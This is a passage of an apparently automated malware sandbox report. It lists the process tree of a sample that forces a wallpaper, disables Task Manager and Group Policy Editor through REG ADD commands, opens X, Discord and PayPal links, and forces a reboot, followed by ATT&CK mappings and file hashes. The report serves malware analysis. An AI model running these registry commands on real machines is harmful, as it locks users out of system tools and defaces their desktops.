    - Modifies registry class
    PID:5748
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\MySingleFileApp\wallpaper.bmp /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5768
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\MySingleFileApp\wallpaper.bmp /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5812
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v WallpaperStyle /t REG_SZ /d 3 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5440
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v WallpaperStyle /t REG_SZ /d 3 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5092
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5928
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2076
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableGpedit /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5852
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableGpedit /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5616
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start https://x.com/Lose2hxm4to
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://x.com/Lose2hxm4to
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of SendNotifyMessage
      PID:5872
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffd407346f8,0x7ffd40734708,0x7ffd40734718
        5⤵
        
        PID:3968
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2268 /prefetch:2
        5⤵
        
        PID:4424
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2736
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2728 /prefetch:8
        5⤵
        
        PID:4912
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3228 /prefetch:1
        5⤵
        
        PID:2888
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3236 /prefetch:1
        5⤵
        
        PID:5084
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3800 /prefetch:1
        5⤵
        
        PID:5700
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3012 /prefetch:1
        5⤵
        
        PID:5868
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5264 /prefetch:1
        5⤵
        
        PID:5828
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5492 /prefetch:1
        5⤵
        
        PID:5600
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
        5⤵
        
        PID:2564
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3484 /prefetch:8
        5⤵
        
        PID:1204
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5352 /prefetch:8
        5⤵
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        
        PID:4196
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5920 /prefetch:8
        5⤵
        
        PID:2452
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5920 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5544
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6004 /prefetch:1
        5⤵
        
        PID:4992
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6020 /prefetch:1
        5⤵
        
        PID:5056
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4108 /prefetch:1
        5⤵
        
        PID:5744
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4088 /prefetch:1
        5⤵
        
        PID:5432
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
        5⤵
        
        PID:5052
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6848 /prefetch:2
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4048
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6072 /prefetch:1
        5⤵
        
        PID:512
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2264,8678055488179574941,4005059831557799117,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6220 /prefetch:1
        5⤵
        
        PID:5760
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start https://discord.gg/UkEYppsAck
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/UkEYppsAck
      4⤵
      PID:5480
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffd407346f8,0x7ffd40734708,0x7ffd40734718
        5⤵
        
        PID:688
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2156,11753349492366493901,14950223767682082216,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
        5⤵
        
        PID:4360
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2156,11753349492366493901,14950223767682082216,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4924
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start https://www.paypal.com/paypalme/himato666
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5984
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/paypalme/himato666
      4⤵
      PID:5624
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffd407346f8,0x7ffd40734708,0x7ffd40734718
        5⤵
        
        PID:5400
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2208,12572268878276895402,14675168439156198439,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2220 /prefetch:2
        5⤵
        
        PID:4824
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2208,12572268878276895402,14675168439156198439,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3048
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c shutdown /r
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5228
  - - C:\Windows\SysWOW64\shutdown.exe
      shutdown /r
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4788

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3384

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3016

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4908

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6136

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4f0 0x40c
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3236

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa390a055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
56a4f78e21616a6e19da57228569489b

SHA1
21bfabbfc294d5f2aa1da825c5590d760483bc76

SHA256
d036661e765ee8fd18978a2b5501e8df6b220e4bca531d9860407555294c96fb

SHA512
c2c3cd1152bb486028fe75ab3ce0d0bc9d64c4ca7eb8860ddd934b2f6e0140d2c913af4fa082b88e92a6a6d20fd483a1cb9813209f371a0f56374bc97d7f863b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
b696a23384c573dfe30b0dfc0852e519

SHA1
7c6c349384b3a78016187810e2c17fc20365b1aa

SHA256
29335eca25125b10270a96e6bb49bf002eecc3bb5d186f343153d1a1acd3e556

SHA512
6953e499c1417cce78ded2ab7535bcc8436fa004f47e11a218b37eb1b02c27af2e53a6bd92bf85263baf747570583ef8708c6b5a7415e51f1e23ee0f82d58967

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
32109145a9b002dc15831946d6633877

SHA1
4ae6aee06a92eac9a09aee6f22fc9de4007e1cca

SHA256
a3dd1baaaecbefb29477ae07a91b46bf4a72a74702acb0953b71dce9379ae55d

SHA512
99884f09a57efbf6da47da555661f1ff7fe6bc3ec25c5c2f40669af1e7bf30526f3dc7c2cc42e372635aa515589776e9f3f4839075df94a2fb1546b3e8cc4f76

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e443ee4336fcf13c698b8ab5f3c173d0

SHA1
9bf70b16f03820cbe3158e1f1396b07b8ac9d75a

SHA256
79e277da2074f9467e0518f0f26ca2ba74914bee82553f935a0ccf64a0119e8b

SHA512
cbf6f6aa0ea69b47f51592296da2b7be1180e7b483c61b4d17ba9ee1a2d3345cbe0987b96f4e25de1438b553db358f330aad8a26e8522601f055c3d5a8313cdd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index

Filesize
4KB

MD5
0526b992c41b8875e60269868eea599f

SHA1
85da3e5df4b478889edd21cf70edc345ed01a33e

SHA256
1c14fd367019a1ca250ef277767e60cacd2755b1abba420b1c7ec6487809f454

SHA512
1385676b0540016efdb269eb6deaaa7dbc0b52639e47d40634d5369aa79be846ab9d985192cd097883fdc0445f9f7a898d399aa7dc833efde8762605f9469147

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
144B

MD5
66cd778e0972c210eef0c7c9cbc89c45

SHA1
297fb8257b7b9b7d766f4005b377cd5cffbf9fdb

SHA256
23cddfd633d6b4a58f2858c37602d052f98256377578d8c182c6cea77a9790e6

SHA512
f6347b03b19c9168218d473785214a59f6b42cb1ec2c3bb78c5f322faf81f255f7f0fad6f240390270071a8e2487a91244a60e5237372d56e899fefb716b5ab9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
6KB

MD5
8d27be2e37b52fe00bf6466834ab562d

SHA1
a84cd0400dfd86077b947dd030233a2ffdbb7bbb

SHA256
2d891bee35ee7445ac817d95d22fbaba8916eef26bc8bd990018f75936b6f95c

SHA512
1dee1448b02ac1cb12251e2aa6a9dbbae28372011f7fde2d01550ed72180c02dc2f79233c9a507e355c87d755a149129df578b5c21622d82526d8258d9e5c276

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
20KB

MD5
9c0f938916277854cfc3cef52d3a5da3

SHA1
8519f71150bf693314f42f3a78b5148b83459a8f

SHA256
05a9e2c99fd58d31f25f8281179fab97a21fcc264664747f6571388faaa72f85

SHA512
77f796444aa3aff8e77651b7504cb9112543184da18f845644b8c64b6344fa824305194adc1dab6f0a7cd3a4c5fe88f43fd3b5164b69fc8cbfd689e733620bfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Filesize
20KB

MD5
0382410a8b7722ddbf6a041ad33f42d3

SHA1
c34dce412d90e7a358a685090f11eafdac2181d7

SHA256
71efdbbc9b4f1688436b3de3f4eb795b9a8418e644f506b2813f55813c94992c

SHA512
83cfd127481fd06c73b539256f9491a640878c21ceed178d8f8af3cbb0463d6585855dee86118bfddeee3437f29690145ea446e2622ab291564559bdf22114ff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
a86a524619f6bc63c2f7facc92670ab0

SHA1
b2c4cd6120ca1553488949685587726b7ac2bb96

SHA256
25b7d7e6963d4d8be0b59aaec01065f55e96755a99cbe77c2b9da9c619222d0b

SHA512
d4f033fe42e4851d04e400b242ff2dd235d8bf2c8521e6c901444b8b18ec947031978f52e133916e6c03014a012d48e519d351eb15da7131d97cebd753fbe3ab

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

Filesize
124KB

MD5
22e013cce8b43e183b96865455ce5e8c

SHA1
fe48e6ea5fcfb16712012bc885662b6ced4c0f64

SHA256
545ccbc3944d17bd07196fc6518b715e2ca79b3f7058c7a9da6698ce73b5ce5e

SHA512
d18895f7ee66bdf411a63623726d33a51c6d2dd796d9f2d3bcf15afab21151ac55524e9d5e475bc9301453b228387aeeaa3550eb77b6ec94af8eb41a11bd9811

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History Provider Cache

Filesize
622B

MD5
fa29114824fa39e82943bc2377d885d5

SHA1
75f43003272f305aa4753bdfaf97f8114d9e6374

SHA256
8bd03b1b6e78b1f1b549bdaf00c88691d8bb4e59381d3bf200181bd80d59dd43

SHA512
6e41510fb5835a36a65944a5e769e07ab15d4b197b422ba640beb2c13fd4379f886bd78f02f0a51debd8913fe0412df4019ea8ec9e43289618a1b6de5e0cf3d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Filesize
1KB

MD5
9426e99b8aa4b79125f64bd7b9400673

SHA1
b958d7d7cc687411b25ffa1689898c5d2b70eb62

SHA256
cceb3457bad6e38593b66f8e672d5fd90b8592266e012208be7f18c165f2d3ae

SHA512
9f4fdfabd2d2eaf645074790373fe15f6c20931c1743f0381bfa54acb422486dc10548adab4f42e4d983b550c5bc6924377f541582f6c730828d32ad7fec21d9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Filesize
331B

MD5
29ee1af2dae02449620aee3b34ada3f7

SHA1
6891dcbb1ed03ed640cf8b96c537623bd2b65980

SHA256
bea3371d30f383313aa0230c03a43847f0d217dda853913f72daffeab6101cfe

SHA512
2ff1c9ee7b50036a8090ba7c825b9cad3d3dbe7e11afd8e666133d526df0db19cff40d5a29c727845db1491e1b7d67ac0a97030f00caa4c97c143694d43225f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
132685f29beb45156d92d154d87971b1

SHA1
e8254d79556e1d66a6b109348997c6fa419baaf4

SHA256
12ec78d435c7a9ad82c6b8c4e6d02ec8380de835e43155aade8ef28b2bd17378

SHA512
77011884283382f4fa27ff6abbe06dc9e912c1c7b6b62160ee0e50cc4ee72738d36823c640a54608696daf065d6f42acb8a87104c6f60be35867000f1d686636

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
4KB

MD5
a9486374b8d6ce745f80529cac830d09

SHA1
0b82fe56bb807b4e6e07b5015fef1882516ebca4

SHA256
d1258ef4622b68e66da8135917931051b9aa1657757fe0e0e5da20bf64dd16c7

SHA512
7458906c3f86d6ab97f9f8ad4a8fcdde1c6db7b4d68d6d50ca85489b50fd23c7ef95ddd09be79a5267ed45b32cc4ed74031a2bbc1975b972b8ee94d04737a6bc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
856B

MD5
38526e93bce481a746eac12ad86e40f4

SHA1
bed7a023b61edee1003740fbf0d2075e608b5910

SHA256
0dd44a439ba013d7b9b9733a4c81cbecb6fd0174bbd9db0d2d41fcf3bd58ac78

SHA512
